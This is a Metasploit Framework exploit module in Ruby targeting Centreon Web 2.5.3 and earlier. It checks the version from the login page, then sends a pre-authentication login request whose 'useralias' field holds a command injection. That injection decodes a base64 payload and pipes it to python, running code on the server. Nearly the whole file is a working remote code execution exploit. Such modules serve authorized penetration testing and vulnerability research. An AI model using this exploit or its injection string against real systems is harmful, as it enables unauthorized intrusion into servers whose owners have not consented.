metasploit-framework/modules/exploits/linux/http/centreon_useralias_exec.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
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Rank = ExcellentRanking
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def initialize(info = {})
super(
update_info(
info,
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'Name' => 'Centreon Web Useralias Command Execution',
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'Description' => %q(
Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
errors. This functionality can be abused for arbitrary code
execution, and can be triggered via the login screen prior to
authentication.
),
'Author' =>
[
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'h00die <mike@shorebreaksecurity.com>', # module
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'Nicolas CHATELAIN <n.chatelain@sysdream.com>' # discovery
],
'References' =>
[
[ 'EDB', '39501' ]
],
'License' => MSF_LICENSE,
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'Platform' => ['python'],
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'Privileged' => false,
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'Arch' => ARCH_PYTHON,
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'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 26 2016'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])
], self.class
)
end
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
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/LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body
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if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')
vprint_good("Version Detected: #{version}")
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Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def exploit
begin
vprint_status('Sending malicious login')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' =>
{
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'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",
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'password' => Rex::Text.rand_text_alpha(5)
}
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end